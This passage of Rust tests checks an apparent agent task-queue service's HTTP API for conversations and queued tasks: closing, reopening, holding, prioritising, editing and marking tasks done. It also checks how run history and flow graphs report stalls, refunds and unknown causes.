9133 let on_disk = f.talks().get(&id).expect("get");
9136 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9137 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9138 }
9139
9140 #[tokio::test]
9141 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9142 let f = Fixture::start().await;
9143 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9144
9145 let res = f
9146 .post(
9147 &format!("/api/talks/{id}/say"),
9148 Some(&format!(
9149 r#"{{"text":"hi","attachments":["{}"]}}"#,
9150 "a".repeat(32)
9151 )),
9152 )
9153 .await;
9154 assert!((400..500).contains(&res.status), "{}", res.body);
9155 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9156
9157 let on_disk = f.talks().get(&id).expect("get");
9158 assert!(
9159 on_disk.turns.is_empty(),
9160 "a rejected attachment id must not partially record the turn: {:?}",
9161 on_disk.turns
9162 );
9163 }
9164
9165 #[tokio::test]
9166 async fn talk_close_makes_the_talk_refuse_further_turns() {
9167 let f = Fixture::start().await;
9168 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9169
9170 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9171 assert_eq!(closed.status, 200, "{}", closed.body);
9172 assert_eq!(closed.json()["status"], "closed");
9173
9174 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9176 assert_eq!(closed_again.status, 200);
9177 assert_eq!(closed_again.json()["status"], "closed");
9178
9179 let said = f
9180 .post(
9181 &format!("/api/talks/{id}/say"),
9182 Some(r#"{"text":"too late"}"#),
9183 )
9184 .await;
9185 assert_eq!(said.status, 409, "{}", said.body);
9186 }
9187
9188 #[tokio::test]
9189 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9190 let (_tmp, _repo, f) = talk_fixture().await;
9191 let id = f.post("/api/talks", None).await.json()["id"]
9192 .as_str()
9193 .expect("id")
9194 .to_owned();
9195 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9196 assert_eq!(closed.status, 200, "{}", closed.body);
9197
9198 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9199 assert_eq!(reopened.status, 200, "{}", reopened.body);
9200 assert_eq!(reopened.json()["status"], "open");
9201
9202 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9204 assert_eq!(reopened_again.status, 200);
9205 assert_eq!(reopened_again.json()["status"], "open");
9206
9207 let said = f
9208 .post(
9209 &format!("/api/talks/{id}/say"),
9210 Some(r#"{"text":"still there?"}"#),
9211 )
9212 .await;
9213 assert_eq!(
9214 said.status, 202,
9215 "a reopened talk accepts turns again: {}",
9216 said.body
9217 );
9218 }
9219
9220 #[tokio::test]
9221 async fn talk_reopen_on_an_unknown_id_is_404() {
9222 let f = Fixture::start().await;
9223 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9224 assert_eq!(res.status, 404, "{}", res.body);
9225 }
9226
9227 #[tokio::test]
9228 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9229 let f = Fixture::start().await;
9230 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9231
9232 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9233 assert_eq!(deleted.status, 204, "{}", deleted.body);
9234
9235 let after = f.get(&format!("/api/talks/{id}")).await;
9236 assert_eq!(after.status, 404, "{}", after.body);
9237
9238 let listed = f.get("/api/talks").await.json();
9239 assert!(
9240 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9241 "a deleted talk must not linger in the list: {listed}"
9242 );
9243 }
9244
9245 #[tokio::test]
9246 async fn talk_delete_on_an_unknown_id_is_404() {
9247 let f = Fixture::start().await;
9248 let res = f.delete("/api/talks/nonexistent-id").await;
9249 assert_eq!(res.status, 404, "{}", res.body);
9250 }
9251
9252 #[tokio::test]
9256 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9257 let f = Fixture::start().await;
9258 let (a, b, gone) = (
9259 "20260902-140501-aaaa",
9260 "20260902-140502-bbbb",
9261 "20260902-140503-cccc",
9262 );
9263 write_run(&f.runs(), a, RunStatus::Stalled);
9264 let mut review = RunState::new(
9265 PathBuf::from("/repo/magi"),
9266 "main".to_owned(),
9267 "0123456789abcdef".to_owned(),
9268 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9269 .to_owned(),
9270 Config::default(),
9271 );
9272 review.id = b.to_owned();
9273 review.status = RunStatus::Merged;
9274 write_state(&f.runs(), &review);
9275
9276 let mut task = Task::new(
9277 "retry".to_owned(),
9278 "Do the thing".to_owned(),
9279 PathBuf::from("/repo/magi"),
9280 Source::Human,
9281 );
9282 task.start(a.to_owned());
9283 task.stall("quota");
9284 task.start(a.to_owned());
9285 task.start(b.to_owned());
9286 task.start(gone.to_owned());
9287 f.queue().put(&mut task).expect("file the task");
9288
9289 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9290 assert_eq!(res.status, 200, "{}", res.body);
9291 let v = res.json();
9292 let h = v["history"].as_array().expect("history");
9293 assert_eq!(h.len(), 4, "{v}");
9294 assert_eq!(h[0]["kind"], "competition");
9295 assert_eq!(h[0]["status"], "stalled");
9296 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9297 assert_eq!(h[1]["kind"], "resume", "{v}");
9298 assert!(
9299 h[0]["outcome"]
9300 .as_str()
9301 .unwrap()
9302 .contains("unknown. Pass #2"),
9303 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9304 );
9305 assert!(
9306 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9307 "{v}"
9308 );
9309 assert!(
9310 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9311 "an unrecorded cause must not be narrated as an operator park: {v}"
9312 );
9313 assert_eq!(h[2]["kind"], "review");
9314 assert!(
9315 h[2]["description"]
9316 .as_str()
9317 .unwrap()
9318 .contains("magi/aaaa/A")
9319 );
9320 assert_eq!(h[2]["status"], "merged");
9321 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9322 assert_eq!(v["runs_unreadable"], 1);
9323 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9324 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9325 assert_eq!(nodes[4]["note"], "unreadable");
9326 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9327 assert_eq!(v["instruction"], "Do the thing");
9328 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9329
9330 let run = f.get(&format!("/api/runs/{a}")).await.json();
9332 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9333
9334 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9335 }
9336
9337 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9338 let mut s = RunState::new(
9339 PathBuf::from("/repo/magi"),
9340 "main".to_owned(),
9341 "0123456789abcdef".to_owned(),
9342 "Do it".to_owned(),
9343 Config::default(),
9344 );
9345 s.status = status;
9346 edit(&mut s);
9347 s
9348 }
9349
9350 fn flow_task(runs: &[&str]) -> Task {
9351 let mut t = Task::new(
9352 "t".to_owned(),
9353 "Do it".to_owned(),
9354 PathBuf::from("/repo/magi"),
9355 Source::Human,
9356 );
9357 for r in runs {
9358 t.start((*r).to_owned());
9359 }
9360 t
9361 }
9362
9363 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9364 let h = task_history(task, |id| {
9365 states
9366 .iter()
9367 .find(|(i, _)| *i == id)
9368 .and_then(|(_, s)| s.clone())
9369 });
9370 task_flow(task, &h, 5)
9371 }
9372
9373 #[test]
9374 fn flow_opens_with_the_chat_that_queued_the_task() {
9375 let mut t = flow_task(&[]);
9376 t.source = Source::Agent {
9377 run: "a b/c".to_owned(),
9378 node: crate::queue::CHAT_NODE.to_owned(),
9379 };
9380 let f = flow_for(&t, &[]);
9381 assert_eq!(f.nodes[0].key, "chat");
9382 assert_eq!(f.nodes[0].kind, "chat");
9383 assert_eq!(
9384 f.nodes[0].label,
9385 format!("Chat {}", crate::queue::short("a b/c"))
9386 );
9387 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9388 assert_eq!(f.nodes[1].key, "start");
9389 assert_eq!(
9390 f.edges[0],
9391 FlowEdge {
9392 from: "chat".to_owned(),
9393 to: "start".to_owned(),
9394 label: "queued from chat".to_owned(),
9395 attempt: AttemptCost::None,
9396 }
9397 );
9398 }
9399
9400 #[test]
9401 fn flow_has_no_chat_box_for_other_sources() {
9402 for source in [
9403 Source::Human,
9404 Source::Issue {
9405 number: 3,
9406 repo: "o/r".to_owned(),
9407 },
9408 Source::Agent {
9409 run: "20260904-014455-ab12".to_owned(),
9410 node: "implement".to_owned(),
9411 },
9412 ] {
9413 let mut t = flow_task(&[]);
9414 t.source = source;
9415 let f = flow_for(&t, &[]);
9416 assert_eq!(f.nodes[0].key, "start");
9417 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9418 assert!(f.edges.iter().all(|e| e.from != "chat"));
9419 }
9420 }
9421
9422 const FA: &str = "20260902-140501-aaaa";
9423 const FB: &str = "20260902-140502-bbbb";
9424
9425 #[test]
9426 fn flow_follows_blocked_retry_merged_to_done() {
9427 let mut t = flow_task(&[FA, FB]);
9428 t.status = TaskStatus::Done;
9429 let f = flow_for(
9430 &t,
9431 &[
9432 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9433 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9434 ],
9435 );
9436 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9437 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9438 assert_eq!(f.edges.len(), 3);
9439 assert_eq!(f.edges[0].label, "claimed");
9440 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9441 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9442 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9443 assert_eq!(
9444 f.nodes[2].href.as_deref(),
9445 Some("#/runs/20260902-140502-bbbb")
9446 );
9447 assert!(f.nodes[2].decided);
9448 }
9449
9450 #[test]
9451 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9452 let quota = || {
9453 flow_run(RunStatus::Stalled, |s| {
9454 s.quota.push(crate::run::QuotaLoss {
9455 seat: "judge-1".to_owned(),
9456 node: "judge".to_owned(),
9457 at: Timestamp::now(),
9458 reset: None,
9459 })
9460 })
9461 };
9462 let mut t = flow_task(&[FA, FA]);
9463 t.status = TaskStatus::Queued;
9464 let f = flow_for(&t, &[(FA, Some(quota()))]);
9465 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9466 assert_eq!(f.nodes[1].note, Some("interrupted"));
9467 assert_eq!(
9468 f.nodes[1].status, None,
9469 "no outcome copied onto an earlier pass"
9470 );
9471 assert_eq!(
9472 f.edges[1].attempt,
9473 AttemptCost::Unknown,
9474 "a resume does not prove the earlier pass was refunded"
9475 );
9476 assert!(f.edges[1].label.contains("resume the same run"));
9477 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9478 assert_eq!(
9479 f.edges[2].label,
9480 "stalled after a resume, refund unknown \u{2192} queued"
9481 );
9482 assert!(!f.nodes[2].decided, "a stall is not a decision");
9483 assert_eq!(f.nodes[2].note, Some("no verdict"));
9484 }
9485
9486 #[test]
9487 fn flow_single_pass_quota_stall_is_refunded() {
9488 let t = flow_task(&[FA]);
9489 let f = flow_for(
9490 &t,
9491 &[(
9492 FA,
9493 Some(flow_run(RunStatus::Stalled, |s| {
9494 s.quota.push(crate::run::QuotaLoss {
9495 seat: "judge-1".to_owned(),
9496 node: "judge".to_owned(),
9497 at: Timestamp::now(),
9498 reset: None,
9499 })
9500 })),
9501 )],
9502 );
9503 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9504 }
9505
9506 #[test]
9507 fn flow_parked_refunds_and_stall_without_quota_spends() {
9508 let mut t = flow_task(&[FA]);
9509 t.status = TaskStatus::Queued;
9510 let f = flow_for(
9511 &t,
9512 &[(
9513 FA,
9514 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9515 )],
9516 );
9517 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9518 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9519 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9520 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9521 assert!(!f.nodes[1].decided);
9522 }
9523
9524 #[test]
9525 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9526 let t = flow_task(&[FA, FB]);
9527 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9528 assert_eq!(f.nodes[1].note, Some("unreadable"));
9529 assert!(!f.nodes[1].readable);
9530 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9531 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9532 }
9533
9534 #[test]
9535 fn flow_names_the_branch_of_a_review_only_run() {
9536 let t = flow_task(&[FA]);
9537 let f = flow_for(
9538 &t,
9539 &[(
9540 FA,
9541 Some(flow_run(RunStatus::Merged, |s| {
9542 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9543 })),
9544 )],
9545 );
9546 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9547 assert_eq!(
9548 f.nodes[1].detail.as_deref(),
9549 Some("review-only run of branch magi/x/A")
9550 );
9551 }
9552
9553 #[test]
9554 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9555 let mut t = flow_task(&[FA]);
9556 t.status = TaskStatus::Held;
9557 let pr = crate::run::PrRecord {
9558 url: "https://example.test/pr/1".to_owned(),
9559 number: 1,
9560 state: "open".to_owned(),
9561 checks: "green".to_owned(),
9562 round: 0,
9563 rounds: 3,
9564 red_at_merge: Vec::new(),
9565 };
9566 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9567 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9568 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9569 t.status = TaskStatus::Done;
9570 let f = flow_for(&t, &[(FA, Some(blocked))]);
9571 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9572 }
9573
9574 #[test]
9575 fn flow_with_no_runs_goes_from_queued_to_queued() {
9576 let t = flow_task(&[]);
9577 let f = flow_for(&t, &[]);
9578 assert_eq!(f.nodes.len(), 2);
9579 assert_eq!(f.edges.len(), 1);
9580 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9581 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9582 }
9583
9584 #[test]
9587 fn a_parked_non_terminal_run_is_explained_as_parked() {
9588 let mut s = RunState::new(
9589 PathBuf::from("/repo/magi"),
9590 "main".to_owned(),
9591 "0123456789abcdef".to_owned(),
9592 "Do it".to_owned(),
9593 Config::default(),
9594 );
9595 s.status = RunStatus::Implementing;
9596 s.parked = true;
9597 let task = Task::new(
9598 "t".to_owned(),
9599 "Do it".to_owned(),
9600 PathBuf::from("/repo/magi"),
9601 Source::Human,
9602 );
9603 let v = task_run_view(
9604 "20260902-140501-aaaa",
9605 Some(&s),
9606 RunSlot {
9607 n: 1,
9608 resumed: false,
9609 resumed_later: None,
9610 prior: None,
9611 last: true,
9612 },
9613 &task,
9614 );
9615 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9616 }
9617
9618 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9619 let mut s = flow_run(RunStatus::Implementing, edit);
9620 s.parked = false;
9621 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9622 task_run_view(
9623 "20260902-140501-aaaa",
9624 Some(&s),
9625 RunSlot {
9626 n: 1,
9627 resumed: false,
9628 resumed_later: Some(2),
9629 prior: None,
9630 last: false,
9631 },
9632 &task,
9633 )
9634 }
9635
9636 #[test]
9637 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9638 let v = earlier_pass_view(|_| {});
9639 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9640 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9641 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9642 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9643 assert_eq!(v.exit, RunExit::Interrupted);
9644 assert_eq!(v.attempt, AttemptCost::Unknown);
9645 }
9646
9647 #[test]
9648 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9649 let v = earlier_pass_view(|s| {
9650 s.quota.push(crate::run::QuotaLoss {
9651 seat: "judge-1".to_owned(),
9652 node: "judge".to_owned(),
9653 at: Timestamp::now(),
9654 reset: None,
9655 });
9656 });
9657 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9658 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9659 assert_eq!(v.attempt, AttemptCost::Unknown);
9660 }
9661
9662 #[test]
9663 fn the_current_pass_states_its_recorded_cause_and_cost() {
9664 let slot = || RunSlot {
9665 n: 1,
9666 resumed: false,
9667 resumed_later: None,
9668 prior: None,
9669 last: true,
9670 };
9671 let task = flow_task(&["20260902-140501-aaaa"]);
9672 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9673 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9674 assert_eq!(
9675 (v.exit, v.attempt),
9676 (RunExit::Parked, AttemptCost::Refunded)
9677 );
9678 let spent = flow_run(RunStatus::Blocked, |_| {});
9679 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9680 assert_eq!(v.attempt, AttemptCost::Spent);
9681 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9682 }
9683
9684 #[tokio::test]
9685 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9686 let f = Fixture::start().await;
9687 let queue = f.queue();
9688 let mut task = Task::new(
9689 "spent".to_owned(),
9690 "Try again".to_owned(),
9691 PathBuf::from("/repo/magi"),
9692 Source::Human,
9693 );
9694 task.start("20260902-140502-bbbb".to_owned());
9695 task.fail("agent gave up", 9);
9696 queue.put(&mut task).expect("file the task");
9697
9698 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9699 assert_eq!(held.status, 200);
9700 assert_eq!(held.json()["status_str"], "held");
9701
9702 let released = f
9703 .post(&format!("/api/queue/{}/release", task.id), None)
9704 .await;
9705 assert_eq!(released.status, 200);
9706 assert_eq!(released.json()["status_str"], "queued");
9707 assert_eq!(
9708 released.json()["attempts"],
9709 0,
9710 "release is a real second chance, not an instant re-hold"
9711 );
9712 assert_eq!(
9713 queue.get(&task.id).expect("reload").status,
9714 TaskStatus::Queued,
9715 "the change is on disk, not only in the reply"
9716 );
9717 assert!(
9718 !f.home
9719 .path()
9720 .join("queue")
9721 .join(format!("{}.lock", task.id))
9722 .exists(),
9723 "the claim the mutation took is released again"
9724 );
9725 }
9726
9727 #[tokio::test]
9728 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9729 let f = Fixture::start().await;
9730 let queue = f.queue();
9731 let mut task = Task::new(
9732 "busy".to_owned(),
9733 "Running right now".to_owned(),
9734 PathBuf::from("/repo/magi"),
9735 Source::Human,
9736 );
9737 queue.put(&mut task).expect("file the task");
9738 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9739
9740 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9741
9742 assert_eq!(res.status, 409);
9743 assert_eq!(
9744 queue.get(&task.id).expect("reload").status,
9745 TaskStatus::Queued,
9746 "the refused hold changed nothing"
9747 );
9748 }
9749
9750 #[tokio::test]
9751 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9752 let f = Fixture::start().await;
9753 let queue = f.queue();
9754 let mut task = Task::new(
9755 "waiting on the migration".to_owned(),
9756 "Do the thing".to_owned(),
9757 PathBuf::from("/repo/magi"),
9758 Source::Human,
9759 );
9760 queue.put(&mut task).expect("file the task");
9761
9762 let held = f
9763 .post(
9764 &format!("/api/queue/{}/hold", task.id),
9765 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9766 )
9767 .await;
9768 assert_eq!(held.status, 200, "{}", held.body);
9769 assert_eq!(held.json()["status_str"], "held");
9770 assert_eq!(
9771 held.json()["hold_reason"],
9772 "waiting for 20260101-000000-aaaa to land"
9773 );
9774
9775 let listed = f.get("/api/queue").await.json();
9776 assert_eq!(
9777 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9778 "the card reads the reason off the same list route"
9779 );
9780
9781 let mut plain = Task::new(
9784 "no reason given".to_owned(),
9785 "Do another thing".to_owned(),
9786 PathBuf::from("/repo/magi"),
9787 Source::Human,
9788 );
9789 queue.put(&mut plain).expect("file the task");
9790 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9791 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9792 assert!(held_plain.json()["hold_reason"].is_null());
9793
9794 let released = f
9795 .post(&format!("/api/queue/{}/release", task.id), None)
9796 .await;
9797 assert_eq!(released.status, 200);
9798 assert!(
9799 released.json()["hold_reason"].is_null(),
9800 "a release must clear the reason so the next hold does not inherit it"
9801 );
9802 }
9803
9804 #[tokio::test]
9805 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9806 let f = Fixture::start().await;
9807 let queue = f.queue();
9808 let mut older = Task::new(
9809 "filed first".to_owned(),
9810 "x".to_owned(),
9811 PathBuf::from("/repo/magi"),
9812 Source::Human,
9813 );
9814 older.id = "20260101-000001-aaaa".to_owned();
9815 let mut newer = Task::new(
9816 "filed second".to_owned(),
9817 "x".to_owned(),
9818 PathBuf::from("/repo/magi"),
9819 Source::Human,
9820 );
9821 newer.id = "20260101-000002-bbbb".to_owned();
9822 queue.put(&mut older).expect("file older");
9823 queue.put(&mut newer).expect("file newer");
9824
9825 let before = f.get("/api/queue").await.json();
9828 assert_eq!(before[0]["id"], newer.id);
9829 assert_eq!(before[1]["id"], older.id);
9830
9831 let raised = f
9835 .post(
9836 &format!("/api/queue/{}/priority", older.id),
9837 Some(r#"{"priority":10}"#),
9838 )
9839 .await;
9840 assert_eq!(raised.status, 200, "{}", raised.body);
9841 assert_eq!(raised.json()["priority"], 10);
9842
9843 let after = f.get("/api/queue").await.json();
9844 let names: Vec<&str> = after
9845 .as_array()
9846 .unwrap()
9847 .iter()
9848 .map(|t| t["id"].as_str().unwrap())
9849 .collect();
9850 assert_eq!(names[0], older.id, "the raised task now sorts first");
9854 }
9855
9856 #[tokio::test]
9857 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9858 let f = Fixture::start().await;
9859 let queue = f.queue();
9860 let mut task = Task::new(
9861 "in flight".to_owned(),
9862 "x".to_owned(),
9863 PathBuf::from("/repo/magi"),
9864 Source::Human,
9865 );
9866 task.start("20260902-140502-bbbb".to_owned());
9867 queue.put(&mut task).expect("file the task");
9868
9869 let res = f
9870 .post(
9871 &format!("/api/queue/{}/priority", task.id),
9872 Some(r#"{"priority":9}"#),
9873 )
9874 .await;
9875 assert_eq!(res.status, 400, "{}", res.body);
9876 assert!(
9877 res.json()["error"]
9878 .as_str()
9879 .is_some_and(|e| e.contains("running")),
9880 "{}",
9881 res.body
9882 );
9883 assert_eq!(
9884 queue.get(&task.id).expect("reload").priority,
9885 0,
9886 "the refused write must not partially apply"
9887 );
9888 }
9889
9890 #[tokio::test]
9891 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9892 let f = Fixture::start().await;
9893 let queue = f.queue();
9894 let mut task = Task::new(
9895 "old title".to_owned(),
9896 "old instruction".to_owned(),
9897 PathBuf::from("/repo/magi"),
9898 Source::Agent {
9899 run: "20260101-000000-beef".to_owned(),
9900 node: "implement".to_owned(),
9901 },
9902 );
9903 task.runs.push("20260101-000000-beef".to_owned());
9904 queue.put(&mut task).expect("file the task");
9905 let created_at = task.created_at;
9906
9907 let edited = f
9908 .post(
9909 &format!("/api/queue/{}/edit", task.id),
9910 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9911 )
9912 .await;
9913 assert_eq!(edited.status, 200, "{}", edited.body);
9914 let body = edited.json();
9915 assert_eq!(body["title"], "new title");
9916 assert_eq!(body["instruction"], "new instruction");
9917 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9918 assert_eq!(body["created_at"], created_at.to_string());
9919 assert_eq!(
9920 body["source"]["kind"], "agent",
9921 "editing a task an agent filed must not turn it human: {body}"
9922 );
9923 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9924
9925 let reloaded = queue.get(&task.id).expect("reload");
9926 assert_eq!(reloaded.title, "new title");
9927 assert_eq!(reloaded.instruction, "new instruction");
9928 }
9929
9930 #[tokio::test]
9931 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9932 let f = Fixture::start().await;
9933 let queue = f.queue();
9934 let mut owner = Task::new(
9935 "owner".to_owned(),
9936 "review it".to_owned(),
9937 PathBuf::from("/repo/magi"),
9938 Source::Human,
9939 );
9940 owner.review_branch = Some("magi/ab12/A".to_owned());
9941 queue.put(&mut owner).expect("file the owner");
9942 let mut task = Task::new(
9943 "draft".to_owned(),
9944 "old".to_owned(),
9945 PathBuf::from("/repo/magi"),
9946 Source::Human,
9947 );
9948 queue.put(&mut task).expect("file the draft");
9949 let url = format!("/api/queue/{}/edit", task.id);
9950
9951 let refused = f
9952 .post(
9953 &url,
9954 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9955 )
9956 .await;
9957 assert_eq!(refused.status, 409, "{}", refused.body);
9958 let msg = refused.json()["error"]
9959 .as_str()
9960 .unwrap_or_default()
9961 .to_owned();
9962 assert!(
9963 msg.contains("magi/ab12/A") && msg.contains("force"),
9964 "{msg}"
9965 );
9966 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9967
9968 let forced = f
9969 .post(
9970 &url,
9971 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9972 )
9973 .await;
9974 assert_eq!(forced.status, 200, "{}", forced.body);
9975 }
9976
9977 #[tokio::test]
9978 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9979 let f = Fixture::start().await;
9980 let queue = f.queue();
9981 let mut task = Task::new(
9982 "in flight".to_owned(),
9983 "do not touch".to_owned(),
9984 PathBuf::from("/repo/magi"),
9985 Source::Human,
9986 );
9987 task.start("20260902-140502-bbbb".to_owned());
9988 queue.put(&mut task).expect("file the task");
9989
9990 let res = f
9991 .post(
9992 &format!("/api/queue/{}/edit", task.id),
9993 Some(r#"{"title":"x","instruction":"y"}"#),
9994 )
9995 .await;
9996 assert_eq!(res.status, 400, "{}", res.body);
9997 assert!(
9998 res.json()["error"]
9999 .as_str()
10000 .is_some_and(|e| e.contains("running")),
10001 "{}",
10002 res.body
10003 );
10004 assert_eq!(
10005 queue.get(&task.id).expect("reload").instruction,
10006 "do not touch",
10007 "the refused edit must not change the file"
10008 );
10009 }
10010
10011 #[tokio::test]
10012 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10013 let f = Fixture::start().await;
10014 let queue = f.queue();
10015 let mut task = Task::new(
10016 "busy".to_owned(),
10017 "Running right now".to_owned(),
10018 PathBuf::from("/repo/magi"),
10019 Source::Human,
10020 );
10021 queue.put(&mut task).expect("file the task");
10022 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10023
10024 let priority = f
10025 .post(
10026 &format!("/api/queue/{}/priority", task.id),
10027 Some(r#"{"priority":9}"#),
10028 )
10029 .await;
10030 assert_eq!(priority.status, 409, "{}", priority.body);
10031
10032 let edit = f
10033 .post(
10034 &format!("/api/queue/{}/edit", task.id),
10035 Some(r#"{"title":"x","instruction":"y"}"#),
10036 )
10037 .await;
10038 assert_eq!(edit.status, 409, "{}", edit.body);
10039 }
10040
10041 #[tokio::test]
10042 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10043 let f = Fixture::start().await;
10044 let queue = f.queue();
10045 let mut task = Task::new(
10046 "shipped by hand".to_owned(),
10047 "merged outside the loop".to_owned(),
10048 PathBuf::from("/repo/magi"),
10049 Source::Agent {
10050 run: "20260101-000000-b455".to_owned(),
10051 node: "implement".to_owned(),
10052 },
10053 );
10054 task.runs.push("20260101-000000-b455".to_owned());
10055 task.runs.push("20260101-000000-9af4".to_owned());
10056 queue.put(&mut task).expect("file the task");
10057 let created_at = task.created_at;
10058
10059 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10060 assert_eq!(done.status, 200, "{}", done.body);
10061 assert_eq!(done.json()["status_str"], "done");
10062
10063 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10064 assert_eq!(
10065 reloaded.runs,
10066 ["20260101-000000-b455", "20260101-000000-9af4"]
10067 );
10068 assert_eq!(
10069 reloaded.source,
10070 Source::Agent {
10071 run: "20260101-000000-b455".to_owned(),
10072 node: "implement".to_owned(),
10073 }
10074 );
10075 assert_eq!(reloaded.created_at, created_at);
10076 }
10077
10078 #[tokio::test]
10079 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10080 let f = Fixture::start().await;
10085 let queue = f.queue();
10086 let mut task = Task::new(
10087 "landed while held".to_owned(),
10088 "x".to_owned(),
10089 PathBuf::from("/repo/magi"),
10090 Source::Human,
10091 );
10092 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10093 queue.put(&mut task).expect("file the held task");
10094
10095 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
